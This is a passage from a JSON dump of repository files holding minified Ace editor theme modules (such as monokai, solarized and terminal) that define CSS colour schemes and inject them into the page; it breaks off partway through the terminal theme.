    "content": "ace.define(\"ace/theme/kr_theme\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-kr-theme\",t.cssText=\".ace-kr-theme .ace_gutter {background: #1c1917;color: #FCFFE0}.ace-kr-theme .ace_print-margin {width: 1px;background: #1c1917}.ace-kr-theme {background-color: #0B0A09;color: #FCFFE0}.ace-kr-theme .ace_cursor {color: #FF9900}.ace-kr-theme .ace_marker-layer .ace_selection {background: rgba(170, 0, 255, 0.45)}.ace-kr-theme.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #0B0A09;}.ace-kr-theme .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-kr-theme .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgba(255, 177, 111, 0.32)}.ace-kr-theme .ace_marker-layer .ace_active-line {background: #38403D}.ace-kr-theme .ace_gutter-active-line {background-color : #38403D}.ace-kr-theme .ace_marker-layer .ace_selected-word {border: 1px solid rgba(170, 0, 255, 0.45)}.ace-kr-theme .ace_invisible {color: rgba(255, 177, 111, 0.32)}.ace-kr-theme .ace_keyword,.ace-kr-theme .ace_meta {color: #949C8B}.ace-kr-theme .ace_constant,.ace-kr-theme .ace_constant.ace_character,.ace-kr-theme .ace_constant.ace_character.ace_escape,.ace-kr-theme .ace_constant.ace_other {color: rgba(210, 117, 24, 0.76)}.ace-kr-theme .ace_invalid {color: #F8F8F8;background-color: #A41300}.ace-kr-theme .ace_support {color: #9FC28A}.ace-kr-theme .ace_support.ace_constant {color: #C27E66}.ace-kr-theme .ace_fold {background-color: #949C8B;border-color: #FCFFE0}.ace-kr-theme .ace_support.ace_function {color: #85873A}.ace-kr-theme .ace_storage {color: #FFEE80}.ace-kr-theme .ace_string {color: rgba(164, 161, 181, 0.8)}.ace-kr-theme .ace_string.ace_regexp {color: rgba(125, 255, 192, 0.65)}.ace-kr-theme .ace_comment {font-style: italic;color: #706D5B}.ace-kr-theme .ace_variable {color: #D1A796}.ace-kr-theme .ace_list,.ace-kr-theme .ace_markup.ace_list {background-color: #0F0040}.ace-kr-theme .ace_variable.ace_language {color: #FF80E1}.ace-kr-theme .ace_meta.ace_tag {color: #BABD9C}.ace-kr-theme .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNgYGBgYFBXV/8PAAJoAXX4kT2EAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-kuroir.js",
    "content": "ace.define(\"ace/theme/kuroir\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!1,t.cssClass=\"ace-kuroir\",t.cssText=\".ace-kuroir .ace_gutter {background: #e8e8e8;color: #333;}.ace-kuroir .ace_print-margin {width: 1px;background: #e8e8e8;}.ace-kuroir {background-color: #E8E9E8;color: #363636;}.ace-kuroir .ace_cursor {color: #202020;}.ace-kuroir .ace_marker-layer .ace_selection {background: rgba(245, 170, 0, 0.57);}.ace-kuroir.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #E8E9E8;border-radius: 2px;}.ace-kuroir .ace_marker-layer .ace_step {background: rgb(198, 219, 174);}.ace-kuroir .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgba(0, 0, 0, 0.29);}.ace-kuroir .ace_marker-layer .ace_active-line {background: rgba(203, 220, 47, 0.22);}.ace-kuroir .ace_gutter-active-line {background-color: rgba(203, 220, 47, 0.22);}.ace-kuroir .ace_marker-layer .ace_selected-word {border: 1px solid rgba(245, 170, 0, 0.57);}.ace-kuroir .ace_invisible {color: #BFBFBF}.ace-kuroir .ace_fold {border-color: #363636;}.ace-kuroir .ace_constant{color:#CD6839;}.ace-kuroir .ace_constant.ace_numeric{color:#9A5925;}.ace-kuroir .ace_support{color:#104E8B;}.ace-kuroir .ace_support.ace_function{color:#005273;}.ace-kuroir .ace_support.ace_constant{color:#CF6A4C;}.ace-kuroir .ace_storage{color:#A52A2A;}.ace-kuroir .ace_invalid.ace_illegal{color:#FD1224;background-color:rgba(255, 6, 0, 0.15);}.ace-kuroir .ace_invalid.ace_deprecated{text-decoration:underline;font-style:italic;color:#FD1732;background-color:#E8E9E8;}.ace-kuroir .ace_string{color:#639300;}.ace-kuroir .ace_string.ace_regexp{color:#417E00;background-color:#C9D4BE;}.ace-kuroir .ace_comment{color:rgba(148, 148, 148, 0.91);background-color:rgba(220, 220, 220, 0.56);}.ace-kuroir .ace_variable{color:#009ACD;}.ace-kuroir .ace_meta.ace_tag{color:#005273;}.ace-kuroir .ace_markup.ace_heading{color:#B8012D;background-color:rgba(191, 97, 51, 0.051);}.ace-kuroir .ace_markup.ace_list{color:#8F5B26;}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-merbivore.js",
    "content": "ace.define(\"ace/theme/merbivore\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-merbivore\",t.cssText=\".ace-merbivore .ace_gutter {background: #202020;color: #E6E1DC}.ace-merbivore .ace_print-margin {width: 1px;background: #555651}.ace-merbivore {background-color: #161616;color: #E6E1DC}.ace-merbivore .ace_cursor {color: #FFFFFF}.ace-merbivore .ace_marker-layer .ace_selection {background: #454545}.ace-merbivore.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #161616;}.ace-merbivore .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-merbivore .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #404040}.ace-merbivore .ace_marker-layer .ace_active-line {background: #333435}.ace-merbivore .ace_gutter-active-line {background-color: #333435}.ace-merbivore .ace_marker-layer .ace_selected-word {border: 1px solid #454545}.ace-merbivore .ace_invisible {color: #404040}.ace-merbivore .ace_entity.ace_name.ace_tag,.ace-merbivore .ace_keyword,.ace-merbivore .ace_meta,.ace-merbivore .ace_meta.ace_tag,.ace-merbivore .ace_storage,.ace-merbivore .ace_support.ace_function {color: #FC6F09}.ace-merbivore .ace_constant,.ace-merbivore .ace_constant.ace_character,.ace-merbivore .ace_constant.ace_character.ace_escape,.ace-merbivore .ace_constant.ace_other,.ace-merbivore .ace_support.ace_type {color: #1EDAFB}.ace-merbivore .ace_constant.ace_character.ace_escape {color: #519F50}.ace-merbivore .ace_constant.ace_language {color: #FDC251}.ace-merbivore .ace_constant.ace_library,.ace-merbivore .ace_string,.ace-merbivore .ace_support.ace_constant {color: #8DFF0A}.ace-merbivore .ace_constant.ace_numeric {color: #58C554}.ace-merbivore .ace_invalid {color: #FFFFFF;background-color: #990000}.ace-merbivore .ace_fold {background-color: #FC6F09;border-color: #E6E1DC}.ace-merbivore .ace_comment {font-style: italic;color: #AD2EA4}.ace-merbivore .ace_entity.ace_other.ace_attribute-name {color: #FFFF89}.ace-merbivore .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWMQFxf3ZXB1df0PAAdsAmERTkEHAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-merbivore_soft.js",
    "content": "ace.define(\"ace/theme/merbivore_soft\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-merbivore-soft\",t.cssText=\".ace-merbivore-soft .ace_gutter {background: #262424;color: #E6E1DC}.ace-merbivore-soft .ace_print-margin {width: 1px;background: #262424}.ace-merbivore-soft {background-color: #1C1C1C;color: #E6E1DC}.ace-merbivore-soft .ace_cursor {color: #FFFFFF}.ace-merbivore-soft .ace_marker-layer .ace_selection {background: #494949}.ace-merbivore-soft.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #1C1C1C;}.ace-merbivore-soft .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-merbivore-soft .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #404040}.ace-merbivore-soft .ace_marker-layer .ace_active-line {background: #333435}.ace-merbivore-soft .ace_gutter-active-line {background-color: #333435}.ace-merbivore-soft .ace_marker-layer .ace_selected-word {border: 1px solid #494949}.ace-merbivore-soft .ace_invisible {color: #404040}.ace-merbivore-soft .ace_entity.ace_name.ace_tag,.ace-merbivore-soft .ace_keyword,.ace-merbivore-soft .ace_meta,.ace-merbivore-soft .ace_meta.ace_tag,.ace-merbivore-soft .ace_storage {color: #FC803A}.ace-merbivore-soft .ace_constant,.ace-merbivore-soft .ace_constant.ace_character,.ace-merbivore-soft .ace_constant.ace_character.ace_escape,.ace-merbivore-soft .ace_constant.ace_other,.ace-merbivore-soft .ace_support.ace_type {color: #68C1D8}.ace-merbivore-soft .ace_constant.ace_character.ace_escape {color: #B3E5B4}.ace-merbivore-soft .ace_constant.ace_language {color: #E1C582}.ace-merbivore-soft .ace_constant.ace_library,.ace-merbivore-soft .ace_string,.ace-merbivore-soft .ace_support.ace_constant {color: #8EC65F}.ace-merbivore-soft .ace_constant.ace_numeric {color: #7FC578}.ace-merbivore-soft .ace_invalid,.ace-merbivore-soft .ace_invalid.ace_deprecated {color: #FFFFFF;background-color: #FE3838}.ace-merbivore-soft .ace_fold {background-color: #FC803A;border-color: #E6E1DC}.ace-merbivore-soft .ace_comment,.ace-merbivore-soft .ace_meta {font-style: italic;color: #AC4BB8}.ace-merbivore-soft .ace_entity.ace_other.ace_attribute-name {color: #EAF1A3}.ace-merbivore-soft .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWOQkpLyZfD09PwPAAfYAnaStpHRAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-mono_industrial.js",
    "content": "ace.define(\"ace/theme/mono_industrial\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-mono-industrial\",t.cssText=\".ace-mono-industrial .ace_gutter {background: #1d2521;color: #C5C9C9}.ace-mono-industrial .ace_print-margin {width: 1px;background: #555651}.ace-mono-industrial {background-color: #222C28;color: #FFFFFF}.ace-mono-industrial .ace_cursor {color: #FFFFFF}.ace-mono-industrial .ace_marker-layer .ace_selection {background: rgba(145, 153, 148, 0.40)}.ace-mono-industrial.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #222C28;}.ace-mono-industrial .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-mono-industrial .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgba(102, 108, 104, 0.50)}.ace-mono-industrial .ace_marker-layer .ace_active-line {background: rgba(12, 13, 12, 0.25)}.ace-mono-industrial .ace_gutter-active-line {background-color: rgba(12, 13, 12, 0.25)}.ace-mono-industrial .ace_marker-layer .ace_selected-word {border: 1px solid rgba(145, 153, 148, 0.40)}.ace-mono-industrial .ace_invisible {color: rgba(102, 108, 104, 0.50)}.ace-mono-industrial .ace_string {background-color: #151C19;color: #FFFFFF}.ace-mono-industrial .ace_keyword,.ace-mono-industrial .ace_meta {color: #A39E64}.ace-mono-industrial .ace_constant,.ace-mono-industrial .ace_constant.ace_character,.ace-mono-industrial .ace_constant.ace_character.ace_escape,.ace-mono-industrial .ace_constant.ace_numeric,.ace-mono-industrial .ace_constant.ace_other {color: #E98800}.ace-mono-industrial .ace_entity.ace_name.ace_function,.ace-mono-industrial .ace_keyword.ace_operator,.ace-mono-industrial .ace_variable {color: #A8B3AB}.ace-mono-industrial .ace_invalid {color: #FFFFFF;background-color: rgba(153, 0, 0, 0.68)}.ace-mono-industrial .ace_support.ace_constant {color: #C87500}.ace-mono-industrial .ace_fold {background-color: #A8B3AB;border-color: #FFFFFF}.ace-mono-industrial .ace_support.ace_function {color: #588E60}.ace-mono-industrial .ace_entity.ace_name,.ace-mono-industrial .ace_support.ace_class,.ace-mono-industrial .ace_support.ace_type {color: #5778B6}.ace-mono-industrial .ace_storage {color: #C23B00}.ace-mono-industrial .ace_variable.ace_language,.ace-mono-industrial .ace_variable.ace_parameter {color: #648BD2}.ace-mono-industrial .ace_comment {color: #666C68;background-color: #151C19}.ace-mono-industrial .ace_entity.ace_other.ace_attribute-name {color: #909993}.ace-mono-industrial .ace_entity.ace_name.ace_tag {color: #A65EFF}.ace-mono-industrial .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNQ1NbwZfALD/4PAAlTArlEC4r/AAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-monokai.js",
    "content": "ace.define(\"ace/theme/monokai\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-monokai\",t.cssText=\".ace-monokai .ace_gutter {background: #2F3129;color: #8F908A}.ace-monokai .ace_print-margin {width: 1px;background: #555651}.ace-monokai {background-color: #272822;color: #F8F8F2}.ace-monokai .ace_cursor {color: #F8F8F0}.ace-monokai .ace_marker-layer .ace_selection {background: #49483E}.ace-monokai.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #272822;}.ace-monokai .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-monokai .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #49483E}.ace-monokai .ace_marker-layer .ace_active-line {background: #202020}.ace-monokai .ace_gutter-active-line {background-color: #272727}.ace-monokai .ace_marker-layer .ace_selected-word {border: 1px solid #49483E}.ace-monokai .ace_invisible {color: #52524d}.ace-monokai .ace_entity.ace_name.ace_tag,.ace-monokai .ace_keyword,.ace-monokai .ace_meta.ace_tag,.ace-monokai .ace_storage {color: #F92672}.ace-monokai .ace_punctuation,.ace-monokai .ace_punctuation.ace_tag {color: #fff}.ace-monokai .ace_constant.ace_character,.ace-monokai .ace_constant.ace_language,.ace-monokai .ace_constant.ace_numeric,.ace-monokai .ace_constant.ace_other {color: #AE81FF}.ace-monokai .ace_invalid {color: #F8F8F0;background-color: #F92672}.ace-monokai .ace_invalid.ace_deprecated {color: #F8F8F0;background-color: #AE81FF}.ace-monokai .ace_support.ace_constant,.ace-monokai .ace_support.ace_function {color: #66D9EF}.ace-monokai .ace_fold {background-color: #A6E22E;border-color: #F8F8F2}.ace-monokai .ace_storage.ace_type,.ace-monokai .ace_support.ace_class,.ace-monokai .ace_support.ace_type {font-style: italic;color: #66D9EF}.ace-monokai .ace_entity.ace_name.ace_function,.ace-monokai .ace_entity.ace_other,.ace-monokai .ace_entity.ace_other.ace_attribute-name,.ace-monokai .ace_variable {color: #A6E22E}.ace-monokai .ace_variable.ace_parameter {font-style: italic;color: #FD971F}.ace-monokai .ace_string {color: #E6DB74}.ace-monokai .ace_comment {color: #75715E}.ace-monokai .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWPQ0FD0ZXBzd/wPAAjVAoxeSgNeAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-pastel_on_dark.js",
    "content": "ace.define(\"ace/theme/pastel_on_dark\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-pastel-on-dark\",t.cssText=\".ace-pastel-on-dark .ace_gutter {background: #353030;color: #8F938F}.ace-pastel-on-dark .ace_print-margin {width: 1px;background: #353030}.ace-pastel-on-dark {background-color: #2C2828;color: #8F938F}.ace-pastel-on-dark .ace_cursor {color: #A7A7A7}.ace-pastel-on-dark .ace_marker-layer .ace_selection {background: rgba(221, 240, 255, 0.20)}.ace-pastel-on-dark.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #2C2828;}.ace-pastel-on-dark .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-pastel-on-dark .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgba(255, 255, 255, 0.25)}.ace-pastel-on-dark .ace_marker-layer .ace_active-line {background: rgba(255, 255, 255, 0.031)}.ace-pastel-on-dark .ace_gutter-active-line {background-color: rgba(255, 255, 255, 0.031)}.ace-pastel-on-dark .ace_marker-layer .ace_selected-word {border: 1px solid rgba(221, 240, 255, 0.20)}.ace-pastel-on-dark .ace_invisible {color: rgba(255, 255, 255, 0.25)}.ace-pastel-on-dark .ace_keyword,.ace-pastel-on-dark .ace_meta {color: #757aD8}.ace-pastel-on-dark .ace_constant,.ace-pastel-on-dark .ace_constant.ace_character,.ace-pastel-on-dark .ace_constant.ace_character.ace_escape,.ace-pastel-on-dark .ace_constant.ace_other {color: #4FB7C5}.ace-pastel-on-dark .ace_keyword.ace_operator {color: #797878}.ace-pastel-on-dark .ace_constant.ace_character {color: #AFA472}.ace-pastel-on-dark .ace_constant.ace_language {color: #DE8E30}.ace-pastel-on-dark .ace_constant.ace_numeric {color: #CCCCCC}.ace-pastel-on-dark .ace_invalid,.ace-pastel-on-dark .ace_invalid.ace_illegal {color: #F8F8F8;background-color: rgba(86, 45, 86, 0.75)}.ace-pastel-on-dark .ace_invalid.ace_deprecated {text-decoration: underline;font-style: italic;color: #D2A8A1}.ace-pastel-on-dark .ace_fold {background-color: #757aD8;border-color: #8F938F}.ace-pastel-on-dark .ace_support.ace_function {color: #AEB2F8}.ace-pastel-on-dark .ace_string {color: #66A968}.ace-pastel-on-dark .ace_string.ace_regexp {color: #E9C062}.ace-pastel-on-dark .ace_comment {color: #A6C6FF}.ace-pastel-on-dark .ace_variable {color: #BEBF55}.ace-pastel-on-dark .ace_variable.ace_language {color: #C1C144}.ace-pastel-on-dark .ace_xml-pe {color: #494949}.ace-pastel-on-dark .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNgYGBgYIiPj/8PAARgAh2NTMh8AAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-solarized_dark.js",
    "content": "ace.define(\"ace/theme/solarized_dark\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-solarized-dark\",t.cssText=\".ace-solarized-dark .ace_gutter {background: #01313f;color: #d0edf7}.ace-solarized-dark .ace_print-margin {width: 1px;background: #33555E}.ace-solarized-dark {background-color: #002B36;color: #93A1A1}.ace-solarized-dark .ace_entity.ace_other.ace_attribute-name,.ace-solarized-dark .ace_storage {color: #93A1A1}.ace-solarized-dark .ace_cursor,.ace-solarized-dark .ace_string.ace_regexp {color: #D30102}.ace-solarized-dark .ace_marker-layer .ace_active-line,.ace-solarized-dark .ace_marker-layer .ace_selection {background: rgba(255, 255, 255, 0.1)}.ace-solarized-dark.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #002B36;}.ace-solarized-dark .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-solarized-dark .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgba(147, 161, 161, 0.50)}.ace-solarized-dark .ace_gutter-active-line {background-color: #0d3440}.ace-solarized-dark .ace_marker-layer .ace_selected-word {border: 1px solid #073642}.ace-solarized-dark .ace_invisible {color: rgba(147, 161, 161, 0.50)}.ace-solarized-dark .ace_keyword,.ace-solarized-dark .ace_meta,.ace-solarized-dark .ace_support.ace_class,.ace-solarized-dark .ace_support.ace_type {color: #859900}.ace-solarized-dark .ace_constant.ace_character,.ace-solarized-dark .ace_constant.ace_other {color: #CB4B16}.ace-solarized-dark .ace_constant.ace_language {color: #B58900}.ace-solarized-dark .ace_constant.ace_numeric {color: #D33682}.ace-solarized-dark .ace_fold {background-color: #268BD2;border-color: #93A1A1}.ace-solarized-dark .ace_entity.ace_name.ace_function,.ace-solarized-dark .ace_entity.ace_name.ace_tag,.ace-solarized-dark .ace_support.ace_function,.ace-solarized-dark .ace_variable,.ace-solarized-dark .ace_variable.ace_language {color: #268BD2}.ace-solarized-dark .ace_string {color: #2AA198}.ace-solarized-dark .ace_comment {font-style: italic;color: #657B83}.ace-solarized-dark .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNg0Db1ZVCxc/sPAAd4AlUHlLenAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-solarized_light.js",
    "content": "ace.define(\"ace/theme/solarized_light\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!1,t.cssClass=\"ace-solarized-light\",t.cssText=\".ace-solarized-light .ace_gutter {background: #fbf1d3;color: #333}.ace-solarized-light .ace_print-margin {width: 1px;background: #e8e8e8}.ace-solarized-light {background-color: #FDF6E3;color: #586E75}.ace-solarized-light .ace_cursor {color: #000000}.ace-solarized-light .ace_marker-layer .ace_selection {background: rgba(7, 54, 67, 0.09)}.ace-solarized-light.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #FDF6E3;}.ace-solarized-light .ace_marker-layer .ace_step {background: rgb(255, 255, 0)}.ace-solarized-light .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgba(147, 161, 161, 0.50)}.ace-solarized-light .ace_marker-layer .ace_active-line {background: #EEE8D5}.ace-solarized-light .ace_gutter-active-line {background-color : #EDE5C1}.ace-solarized-light .ace_marker-layer .ace_selected-word {border: 1px solid #073642}.ace-solarized-light .ace_invisible {color: rgba(147, 161, 161, 0.50)}.ace-solarized-light .ace_keyword,.ace-solarized-light .ace_meta,.ace-solarized-light .ace_support.ace_class,.ace-solarized-light .ace_support.ace_type {color: #859900}.ace-solarized-light .ace_constant.ace_character,.ace-solarized-light .ace_constant.ace_other {color: #CB4B16}.ace-solarized-light .ace_constant.ace_language {color: #B58900}.ace-solarized-light .ace_constant.ace_numeric {color: #D33682}.ace-solarized-light .ace_fold {background-color: #268BD2;border-color: #586E75}.ace-solarized-light .ace_entity.ace_name.ace_function,.ace-solarized-light .ace_entity.ace_name.ace_tag,.ace-solarized-light .ace_support.ace_function,.ace-solarized-light .ace_variable,.ace-solarized-light .ace_variable.ace_language {color: #268BD2}.ace-solarized-light .ace_storage {color: #073642}.ace-solarized-light .ace_string {color: #2AA198}.ace-solarized-light .ace_string.ace_regexp {color: #D30102}.ace-solarized-light .ace_comment,.ace-solarized-light .ace_entity.ace_other.ace_attribute-name {color: #93A1A1}.ace-solarized-light .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNgYGBgYHjy8NJ/AAjgA5fzQUmBAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-sqlserver.js",
    "content": "ace.define(\"ace/theme/sqlserver\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!1,t.cssClass=\"ace-sqlserver\",t.cssText='.ace-sqlserver .ace_gutter {background: #ebebeb;color: #333;overflow: hidden;}.ace-sqlserver .ace_print-margin {width: 1px;background: #e8e8e8;}.ace-sqlserver {background-color: #FFFFFF;color: black;}.ace-sqlserver .ace_identifier {color: black;}.ace-sqlserver .ace_keyword {color: #0000FF;}.ace-sqlserver .ace_numeric {color: black;}.ace-sqlserver .ace_storage {color: #11B7BE;}.ace-sqlserver .ace_keyword.ace_operator,.ace-sqlserver .ace_lparen,.ace-sqlserver .ace_rparen,.ace-sqlserver .ace_punctuation {color: #808080;}.ace-sqlserver .ace_set.ace_statement {color: #0000FF;text-decoration: underline;}.ace-sqlserver .ace_cursor {color: black;}.ace-sqlserver .ace_invisible {color: rgb(191, 191, 191);}.ace-sqlserver .ace_constant.ace_buildin {color: rgb(88, 72, 246);}.ace-sqlserver .ace_constant.ace_language {color: #979797;}.ace-sqlserver .ace_constant.ace_library {color: rgb(6, 150, 14);}.ace-sqlserver .ace_invalid {background-color: rgb(153, 0, 0);color: white;}.ace-sqlserver .ace_support.ace_function {color: #FF00FF;}.ace-sqlserver .ace_support.ace_constant {color: rgb(6, 150, 14);}.ace-sqlserver .ace_class {color: #008080;}.ace-sqlserver .ace_support.ace_other {color: #6D79DE;}.ace-sqlserver .ace_variable.ace_parameter {font-style: italic;color: #FD971F;}.ace-sqlserver .ace_comment {color: #008000;}.ace-sqlserver .ace_constant.ace_numeric {color: black;}.ace-sqlserver .ace_variable {color: rgb(49, 132, 149);}.ace-sqlserver .ace_xml-pe {color: rgb(104, 104, 91);}.ace-sqlserver .ace_support.ace_storedprocedure {color: #800000;}.ace-sqlserver .ace_heading {color: rgb(12, 7, 255);}.ace-sqlserver .ace_list {color: rgb(185, 6, 144);}.ace-sqlserver .ace_marker-layer .ace_selection {background: rgb(181, 213, 255);}.ace-sqlserver .ace_marker-layer .ace_step {background: rgb(252, 255, 0);}.ace-sqlserver .ace_marker-layer .ace_stack {background: rgb(164, 229, 101);}.ace-sqlserver .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgb(192, 192, 192);}.ace-sqlserver .ace_marker-layer .ace_active-line {background: rgba(0, 0, 0, 0.07);}.ace-sqlserver .ace_gutter-active-line {background-color: #dcdcdc;}.ace-sqlserver .ace_marker-layer .ace_selected-word {background: rgb(250, 250, 255);border: 1px solid rgb(200, 200, 250);}.ace-sqlserver .ace_meta.ace_tag {color: #0000FF;}.ace-sqlserver .ace_string.ace_regex {color: #FF0000;}.ace-sqlserver .ace_string {color: #FF0000;}.ace-sqlserver .ace_entity.ace_other.ace_attribute-name {color: #994409;}.ace-sqlserver .ace_indent-guide {background: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==\") right repeat-y;}';var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-terminal.js",
    "content": "ace.define(\"ace/theme/terminal\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-terminal-theme\",t.cssText=\".ace-terminal-theme .ace_gutter {background: #1a0005;color: steelblue}.ace-terminal-theme .ace_print-margin {width: 1px;background: #1a1a1a}.ace-terminal-theme {background-color: black;color: #DEDEDE}.ace-terminal-theme .ace_cursor {color: #9F9F9F}.ace-terminal-theme .ace_marker-layer .ace_selection {background: #424242}.ace-terminal-theme.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px black;}.ace-terminal-theme .ace_marker-layer .ace_step {background: rgb(0, 0, 0)}.ace-terminal-theme .ace_marker-layer .ace_bracket {background: #090;}.ace-terminal-theme .ace_marker-layer .ace_bracket-start {background: #090;}.ace-terminal-theme .ace_marker-layer .ace_bracket-unmatched {margin: -1px 0 0 -1px;border: 1px solid #900}.ace-terminal-theme .ace_marker-layer .ace_active-line {background: #2A2A2A}.ace-terminal-theme .ace_gutter-active-line {background-color: #2A112A}.ace-terminal-theme .ace_marker-layer .ace_selected-word {border: 1px solid #424242}.ace-terminal-theme .ace_invisible {color: #343434}.ace-terminal-theme .ace_keyword,.ace-terminal-theme .ace_meta,.ace-terminal-theme .ace_storage,.ace-terminal-theme .ace_storage.ace_type,.ace-terminal-theme .ace_support.ace_type {color: tomato}.ace-terminal-theme .ace_keyword.ace_operator {color: deeppink}.ace-terminal-theme .ace_constant.ace_character,.ace-terminal-theme .ace_constant.ace_language,.ace-terminal-theme .ace_constant.ace_numeric,.ace-terminal-theme .ace_keyword.ace_other.ace_unit,.ace-terminal-theme .ace_support.ace_constant,.ace-terminal-theme .ace_variable.ace_parameter {color: #E78C45}.ace-terminal-theme .ace_constant.ace_other {color: gold}.ace-terminal-theme .ace_invalid {color: yellow;background-color: red}.ace-terminal-theme .ace_invalid.ace_deprecated {color: #CED2CF;background-color: #B798BF}.ace-terminal-theme .ace_fold {background-color: #7AA6DA;border-color: #DEDEDE}.ace-terminal-theme .ace_entity.ace_name.ace_function,.ace-terminal-theme .ace_support.ace_function,.ace-terminal-theme .ace_variable {color: #7AA6DA}.ace-terminal-theme .ace_support.ace_class,.ace-terminal-theme .ace_support.ace_type {color: #E7C547}.ace-terminal-theme .ace_heading,.ace-terminal-theme .ace_string {color: #B9CA4A}.ace-terminal-theme .ace_entity.ace_name.ace_tag,.ace-terminal-theme .ace_entity.ace_other.ace_attribute-name,.ace-terminal-theme .ace_meta.ace_tag,.ace-terminal-theme .ace_string.ace_regexp,.ace-terminal-theme .ace_variable {color: #D54E53}.ace-terminal-theme .ace_comment {color: orangered}.ace-terminal-theme .ace_indent-guide {background: 